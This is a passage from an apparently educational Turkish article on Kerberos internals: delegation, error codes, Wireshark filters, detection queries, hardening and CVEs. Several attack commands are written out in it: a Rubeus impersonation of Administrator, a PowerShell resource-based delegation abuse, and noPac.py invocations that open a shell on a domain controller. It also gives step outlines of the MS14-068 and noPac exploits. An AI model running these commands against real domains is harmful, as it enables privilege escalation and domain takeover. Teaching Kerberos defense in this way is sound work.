- PA-FOR-USER: { userName: "TargetUser", userRealm: "CORP.LOCAL" }
- sname: kendi SPN'i
2. KDC → Service: TGS-REP
- Ticket: TargetUser için ServiceAccount servisi için ST
- Ticket'ta TargetUser'ın PAC'ı var
- FORWARDABLE flag: TrustedToAuthForDelegation varsa set edilir
S4U2Self'in istismar senaryosu:
# Rubeus ile S4U2Self
Rubeus.exe s4u /user:svcAccount /password:Password1! \
/impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local \
/domain:corp.local /ptt
7.2 S4U2Proxy (MS-SFU §3.2)
S4U2Proxy, S4U2Self'in devamıdır. Servis hesabı, S4U2Self'den aldığı "forwardable" bilet ile başka bir servise kullanıcı adına erişebilir.
S4U2Proxy akışı:
1. Service → KDC: TGS-REQ
- additional-tickets[0]: S4U2Self'ten alınan ST (FORWARDABLE)
- sname: hedef servisin SPN'i
2. KDC → Service: TGS-REP
- Ticket: TargetUser için TargetService için ST
3. Service → TargetService: AP-REQ
- Ticket: adım 2'deki ST
7.3 Constrained vs Unconstrained Delegation
Unconstrained Delegation (userAccountControl: TRUSTED_FOR_DELEGATION):
Servis, kullanıcının TGT'sini direkt alır ve istediği servise iletir. KDC, TGT'yi AP-REQ içinde ek bilet olarak gönderir. Saldırı: Unconstrained delegation flag'i olan bir servisi compromise ederek bağlanan kullanıcıların (Domain Admin dahil) TGT'lerini çalmak.
# Unconstrained delegation flag'li servis hesapları
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
Constrained Delegation (msDS-AllowedToDelegateTo):
Servis yalnızca belirtilen SPN listesine S4U2Proxy yapabilir. Daha güvenli ancak yanlış yapılandırılırsa istismar edilebilir.
Resource-Based Constrained Delegation (RBCD):
Hedef kaynak, hangi hesapların kendisi adına delegation yapabileceğini kontrol eder (msDS-AllowedToActOnBehalfOfOtherIdentity). GenericWrite yetkisi olan bir saldırgan bu attribute'u değiştirerek privilege escalation yapabilir.
# RBCD saldırısı
$SD = New-Object Security.AccessControl.RawSecurityDescriptor(
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-...-1234)")
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-ADComputer -Identity "TargetComputer" -PrincipalsAllowedToDelegateToAccount AttackerMachine$
Bölüm 8: KRB-ERROR Mesajları ve Hata Analizi
Kerberos hata mesajları, hem troubleshooting hem de güvenlik açısından kritiktir:
KRB_ERR_NONE = 0
KDC_ERR_NAME_EXP = 1 -- Principal expired
KDC_ERR_SERVICE_EXP = 2 -- Service expired
KDC_ERR_BAD_PVNO = 3 -- Bad Kerberos version
KDC_ERR_C_OLD_MAST_KVNO = 4 -- Old master key version
KDC_ERR_S_OLD_MAST_KVNO = 5 -- Old service key version
KDC_ERR_C_PRINCIPAL_UNKNOWN = 6 -- Client not found in DB
KDC_ERR_S_PRINCIPAL_UNKNOWN = 7 -- Server not found in DB (wrong SPN!)
KDC_ERR_PRINCIPAL_NOT_UNIQUE = 8 -- Multiple principals
KDC_ERR_NULL_KEY = 9 -- No key for principal
KDC_ERR_CANNOT_POSTDATE = 10 -- Postdating not allowed
KDC_ERR_NEVER_VALID = 11 -- Invalid time range
KDC_ERR_POLICY = 12 -- KDC policy violation
KDC_ERR_BADOPTION = 13 -- Invalid KDC option
KDC_ERR_ETYPE_NOSUPP = 14 -- No supported etype
KDC_ERR_SUMTYPE_NOSUPP = 15 -- No supported checksum
KDC_ERR_PADATA_TYPE_NOSUPP = 16 -- No supported PA-DATA type
KDC_ERR_TRTYPE_NOSUPP = 17 -- No supported transit type
KDC_ERR_CLIENT_REVOKED = 18 -- Client's creds revoked (disabled account!)
KDC_ERR_SERVICE_REVOKED = 19 -- Service's creds revoked
KDC_ERR_TGT_REVOKED = 20 -- TGT has been revoked
KDC_ERR_CLIENT_NOTYET = 21 -- Client not yet valid
KDC_ERR_SERVICE_NOTYET = 22 -- Service not yet valid
KDC_ERR_KEY_EXPIRED = 23 -- Password has expired
KDC_ERR_PREAUTH_FAILED = 24 -- Pre-auth info was incorrect
KDC_ERR_PREAUTH_REQUIRED = 25 -- Pre-auth required
KDC_ERR_SERVER_NOMATCH = 26 -- Server and ticket don't match
KDC_ERR_MUST_USE_USER2USER = 27 -- Must use user-to-user auth
KDC_ERR_PATH_NOT_ACCEPTED = 28 -- Referral path rejected
KDC_ERR_SVC_UNAVAILABLE = 29 -- Service unavailable
KRB_AP_ERR_BAD_INTEGRITY = 31 -- Integrity check failed (wrong key!)
KRB_AP_ERR_TKT_EXPIRED = 32 -- Ticket expired
KRB_AP_ERR_TKT_NYV = 33 -- Ticket not yet valid
KRB_AP_ERR_REPEAT = 34 -- Repeated request (replay!)
KRB_AP_ERR_NOT_US = 35 -- Ticket not for us
KRB_AP_ERR_BADMATCH = 36 -- Ticket/authenticator mismatch
KRB_AP_ERR_SKEW = 37 -- Clock skew too great (>5 min!)
KRB_AP_ERR_NOKEY = 38 -- No key available
KRB_AP_ERR_MUT_FAIL = 39 -- Mutual auth failed
KRB_AP_ERR_BADDIRECTION = 40 -- Wrong direction
KRB_AP_ERR_METHOD = 41 -- Alternative method required
KRB_AP_ERR_BADSEQ = 42 -- Incorrect sequence number
KRB_AP_ERR_INAPP_CKSUM = 43 -- Inappropriate checksum
KRB_AP_PATH_NOT_ACCEPTED = 44 -- Path rejected
KRB_ERR_RESPONSE_TOO_BIG = 52 -- Response too big for UDP (use TCP)
KRB_ERR_GENERIC = 60 -- Generic error
KRB_ERR_FIELD_TOOLONG = 61 -- Field too long
KDC_ERROR_CLIENT_NOT_TRUSTED = 62 -- Client not trusted (PKINIT)
KDC_ERR_WRONG_REALM = 68 -- Wrong realm
Pentest için kritik hatalar:
KDC_ERR_PREAUTH_REQUIRED (25): Normal — hesap pre-auth istiyorKDC_ERR_PREAUTH_FAILED (24): Yanlış şifreKDC_ERR_CLIENT_REVOKED (18): Hesap devre dışıKRB_AP_ERR_SKEW (37): Saat senkronizasyonu sorunu (Kerberos ±5 dk tolerans ister)KDC_ERR_S_PRINCIPAL_UNKNOWN (7): SPN yok — Kerberoast için geçersiz SPN
Bölüm 9: Wireshark ile Kerberos Trafik Analizi
9.1 Filtreleme
# Tüm Kerberos trafiği
kerberos
# Mesaj türüne göre
kerberos.msg_type == 10 # AS-REQ
kerberos.msg_type == 11 # AS-REP
kerberos.msg_type == 12 # TGS-REQ
kerberos.msg_type == 13 # TGS-REP
kerberos.msg_type == 14 # AP-REQ
kerberos.msg_type == 15 # AP-REP
kerberos.msg_type == 30 # KRB-ERROR
# Hata koduna göre
kerberos.error_code == 25 # PREAUTH_REQUIRED
kerberos.error_code == 24 # PREAUTH_FAILED
kerberos.error_code == 18 # CLIENT_REVOKED
kerberos.error_code == 37 # Clock skew
# Belirli bir kullanıcı
kerberos.CNameString == "user01"
# RC4 kullanımı (şüpheli)
kerberos.etype == 23
# Belirli SPN
kerberos.SNameString contains "krbtgt"
kerberos.SNameString contains "cifs"
9.2 AS-REQ Anatomisi — Wireshark'ta Ne Görürsünüz?
Kerberos
pvno: 5
msg-type: krb-as-req (10)
padata: 2 items
PA-DATA pA-ENC-TIMESTAMP (2)
padata-type: pA-ENC-TIMESTAMP (2)
padata-value: 3022a003020112a11b3019...
EncryptedData
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
cipher: [256-bit encrypted timestamp]
PA-DATA pA-PAC-REQUEST (128)
padata-type: pA-PAC-REQUEST (128)
padata-value: 3005a0030101ff -- include-pac: TRUE
req-body
kdc-options: 0x40810010
.... .... .... .... ..0. .... -- not renewable
...0 .... .... .... .... .... -- not forwardable
cname: user01
realm: CORP.LOCAL
sname: krbtgt/CORP.LOCAL
till: 2037-09-13 02:48:05 (max time)
nonce: 0x1234ABCD
etype: 18 17 11 3 1 2 -- preferred etypes in order
Pre-auth yoksa (AS-REP Roasting hedefi):
padata: 0 items -- NO PA-ENC-TIMESTAMP
9.3 TGS-REQ İçinde Kerberoasting Tespiti
Wireshark'ta şüpheli TGS-REQ:
kerberos.SNameString != "krbtgt" # Service ticket (normal olabilir)
kerberos.etype == 23 # RC4 isteniyor
Bunları birleştirdiğinizde: RC4 ile şifreli TGS isteği, servis hesabı için → Kerberoasting girişimi olabilir.
Bölüm 10: Tespit ve Savunma
10.1 Windows Event ID Referansı
EID 4768 — Kerberos Authentication Ticket (TGT) Requested
Alanlar: Account Name, Supplied Realm, Service Name, Ticket Options,
Result Code, Ticket Encryption Type, Pre-Authentication Type,
IP Address, Certificate Issuer, Certificate Serial Number
EID 4769 — Kerberos Service Ticket (TGS) Requested
Alanlar: Account Name, Service Name, Ticket Options,
Ticket Encryption Type, Failure Code, Transited Services
EID 4770 — Kerberos Service Ticket Renewed
Yenileme isteği
EID 4771 — Kerberos Pre-Authentication Failed
Account Name, IP Address, Failure Code
Failure Code 0x18 = yanlış şifre
EID 4672 — Special Logon
Yeni bir logon oturumuna Administrator veya DA hakları atandı
Golden/Silver Ticket başarılı olunca bu üretilir
10.2 Golden Ticket Tespiti
# EID 4769 + 4768 korelasyonu
# Golden Ticket tespiti için:
# 1. EID 4768 yok ama EID 4769 var (TGT olmadan TGS isteği)
# 2. EID 4768'de EncryptionType = 0x17 (RC4) — DC AES kullanıyor ama RC4 TGT
# 3. EID 4769'da anormal AccountDomain
# 4. Ticket süresi anormal (örneğin 10 yıl)
# KQL (Microsoft Sentinel)
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| where ServiceName !endswith "$"
| where AccountDomain == "CORP.LOCAL"
Davranışsal anomaliler:
authtimeçok eski (Golden Ticket oluşturulurken statik değer girildi)renew-till10 yıl sonracnameile logon gören kullanıcı arasında uyumsuzluk- Bilinen olmayan bir client IP'sinden gelen bilet
10.3 Kerberoasting Tespiti
# EID 4769 - RC4 şifreli TGS isteği (servis hesabı için)
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17" // RC4
| where ServiceName != "krbtgt"
| where ServiceName !endswith "$"
| where IpAddress != "-"
| summarize count() by IpAddress, AccountName, ServiceName, bin(TimeGenerated, 1h)
| where count_ > 5 // Çok sayıda istek = otomasyon
Özellikle dikkat edilecek:
- Tek bir kaynak IP'den çok sayıda TGS isteği
- Farklı servis hesapları için yoğun TGS talebi
- AES destekleyen ortamda RC4 ile TGS
10.4 AS-REP Roasting Tespiti
# EID 4768 - Pre-auth type = 0 (pre-auth yok)
SecurityEvent
| where EventID == 4768
| where PreAuthType == "0" // No pre-auth
| where Status == "0x0" // Başarılı
Önlem: userAccountControl attribute'unda DONT_REQUIRE_PREAUTH flag'ini kaldır.
# DONT_REQUIRE_PREAUTH flag'i olan hesapları bul
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
# Flag'i kaldır
Set-ADAccountControl -Identity user01 -DoesNotRequirePreAuth $false
10.5 Savunma Tavsiyeleri
krbtgt Hesabı:
# krbtgt şifresini döngüsel olarak sıfırla (Golden Ticket'ı geçersiz kılar)
# Önemli: İki kez sıfırlanmalı (her DC'nin eski anahtarı temizlemesi için)
# Araç: New-KrbtgtKeys.ps1 (Microsoft)
# Read-only DC'lerin kendi krbtgt hesapları var
# RODC compromise → yalnızca RODC krbtgt sıfırla
Şifreleme Politikası:
GPO: Computer Config → Windows Settings → Security Settings →
Local Policies → Security Options →
"Network security: Configure encryption types allowed for Kerberos"
Önerilen: AES128, AES256 (DES ve RC4'ü devre dışı bırak)
PAC Doğrulama:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
ValidateKdcPacSignature = 1
Microsoft Defender for Identity (MDI/ATA) Uyarıları:
- Forged PAC using encryption downgrade activity
- Kerberos Golden Ticket activity
- Kerberos Silver Ticket activity
- Overpass-the-Hash activity
- Suspected Kerberoasting activity
- Account enumeration reconnaissance using Kerberos queries
Bölüm 11: CVE'ler ve Önemli Güvenlik Açıkları
MS14-068 (CVE-2014-6324)
Etki: Herhangi bir domain kullanıcısı → Domain Admin
Mekanizma: KDC, checksum tipi 0xFFFFFFFF (MD5, imzasız) kabul ediyordu. Saldırgan:
- Geçerli bir TGT alır
- PAC'ı modify eder — GroupIds'e Domain Admin RID ekler
- Checksum tipi olarak MD5 (imzasız) kullanır
- KDC, yanlış checksum tipini reddedecek yerde kabul etti
Düzeltme: KB3011780 (Kasım 2014). Güncel sistemlerde yoktur ancak 2014 öncesi unpatched sistemlerde hâlâ istismar edilebilir.
noPac (CVE-2021-42287 + CVE-2021-42278)
Etki: Domain kullanıcısı → Domain Admin (hızla)
Mekanizma:
- CVE-2021-42278: Machine account (sAMAccountName) Domain Controller ismiyle aynı yapılabilir
- CVE-2021-42287: KDC, TGS isteğinde sAMAccountName bulamazsa
$ekleyerek tekrar arar
Kombine saldırı:
- Machine account oluştur:
sAMAccountName = DC01(DC'nin ismiyle aynı) - TGT al:
user@CORP.LOCALiçin değil,DC01@CORP.LOCALiçin - Machine account'un sAMAccountName'ini değiştir (başka bir şey yap)
- TGS iste:
DC01@CORP.LOCAL'ın TGT'si ilekrbtgtservisi için - KDC,
DC01bulamaz,DC01$arar ve gerçek DC'yi bulur - Sonuç: gerçek DC yetkilerine sahip TGS alınır
# noPac saldırısı
noPac.py -scan CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1
noPac.py CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1 -shell
Düzeltme: KB5008380 ve KB5008602 (Kasım/Aralık 2021).
Sapphire Ticket (2022)
Diamond Ticket'ın geliştirilmiş versiyonu. Gerçek bir kullanıcının PAC'ını başka bir kullanıcının bileti için kullanır. S4U2Self mekanizması üzerinden gerçek bir PAC alınır ve başka bir bilet içine enjekte edilir. Sonuç: tüm PAC checksum'ları geçerli.
Referanslar ve İleri Okuma
RFC'ler:
- RFC 4120 (2005) — The Kerberos Network Authentication Service (V5)
- RFC 3961 (2005) — Encryption and Checksum Specifications for Kerberos 5
- RFC 3962 (2005) — Advanced Encryption Standard (AES) Encryption for Kerberos 5
- RFC 4757 (2006) — The RC4-HMAC Kerberos Encryption Types
- RFC 6113 (2011) — A Generalized Framework for Kerberos Pre-Authentication
- RFC 6806 (2012) — Kerberos Principal Name Canonicalization
Microsoft Dokümanları:
- MS-KILE: Kerberos Protocol Extensions
- MS-PAC: Privilege Attribute Certificate Data Structure
- MS-SFU: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol
Akademik Çalışmalar:
- Neuman, C. & Ts'o, T. (1994). "Kerberos: An Authentication Service for Computer Networks." IEEE Communications.
- Bellovin, S.M. & Merritt, M. (1991). "Limitations of the Kerberos Authentication System." USENIX Conference Proceedings.
Araştırma Blogları:
- harmj0y: "The Evolution of Protected Users"
- harmj0y: "Kerberoasting Without Mimikatz"
- gentilkiwi (mimikatz belgesi): MS-KILE PAC implementation
- Sean Metcalf (adsecurity.org): "Detecting Kerberoasting Activity"
- Will Schroeder (@harmj0y) / Lee Christensen (@tifkin_): "An Ace Up the Sleeve"
- Active Directory Security Testing: The Complete Attacker's Perspective
- Kerberos Protocol Internals: Tickets, PAC, and the Security Implications
- AD Certificate Services Deep Dive: ESC1 to ESC8 Attack Paths
- BloodHound CE for Defensive AD Analysis: Attack Path Management
- Windows Credential Access: LSASS, DPAPI, SAM, and Browser Secrets
Frequently Asked Questions
What is a TGT in Kerberos?
The Ticket Granting Ticket is issued by the KDC's Authentication Service after a user proves their identity. It is encrypted with the krbtgt account's key and later presented to request service tickets (TGS) without re-entering the password.
What is the PAC and why does it matter?
The Privilege Attribute Certificate is a buffer inside the ticket that carries the user's SIDs and group memberships. Services trust it for authorization decisions, which is why forging it — as in Golden and Diamond Tickets — grants arbitrary privileges.
How do Golden, Silver and Diamond Tickets differ?
A Golden Ticket is a forged TGT signed with the stolen krbtgt key; a Silver Ticket is a forged TGS signed with a single service account's key (narrower scope, stealthier); a Diamond Ticket modifies a legitimately issued TGT to better evade anomaly detection.
How can Kerberos abuse be detected?
Watch for tickets with anomalous lifetimes, RC4 (etype 23) usage where AES is expected, TGS requests without a preceding AS request, PAC validation failures, and mismatches between the ticket and the account's real attributes.